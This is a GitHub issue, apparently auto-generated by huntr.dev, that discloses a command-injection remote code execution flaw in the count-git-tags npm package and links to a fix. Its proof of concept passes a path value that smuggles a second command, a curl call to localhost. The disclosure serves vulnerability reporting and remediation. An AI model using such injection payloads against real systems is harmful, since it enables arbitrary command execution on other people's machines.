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aichbauer / node-count-git-tags

A tool to count the number of tags of a git repository
MIT License
1 stars 3 forks source link

Security Notice & Bug Bounty - Remote Code Execution - huntr.dev #2

Open huntr-helper opened 4 years ago

huntr-helper commented 4 years ago

This issue has been generated on-behalf of Mik317 (https://huntr.dev/app/users/Mik317)

Vulnerability Description

The issue occurs because a user input is formatted inside a command that will be executed without any check. The issue arises here: https://github.com/aichbauer/node-count-git-tags/blob/master/index.js#L27

POC

// poc.js
const countGitTags = require('count-git-tags');

countGitTags({ path: '.git;curl "http://localhost/RCE"' });

Impact

RCE on count-git-tags via insecure command formatting

Bug Bounty

We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded 💰? Go to https://huntr.dev/

We will submit a pull request directly to your repository with the fix as soon as possible. Want to learn more? Go to https://github.com/418sec/huntr 📚

Automatically generated by @huntr-helper...

huntr-helper commented 4 years ago

‎‍🛠️ A fix has been provided for this issue. Please reference: https://github.com/418sec/node-count-git-tags/pull/1

🔥 This fix has been provided through the https://huntr.dev/ bug bounty platform.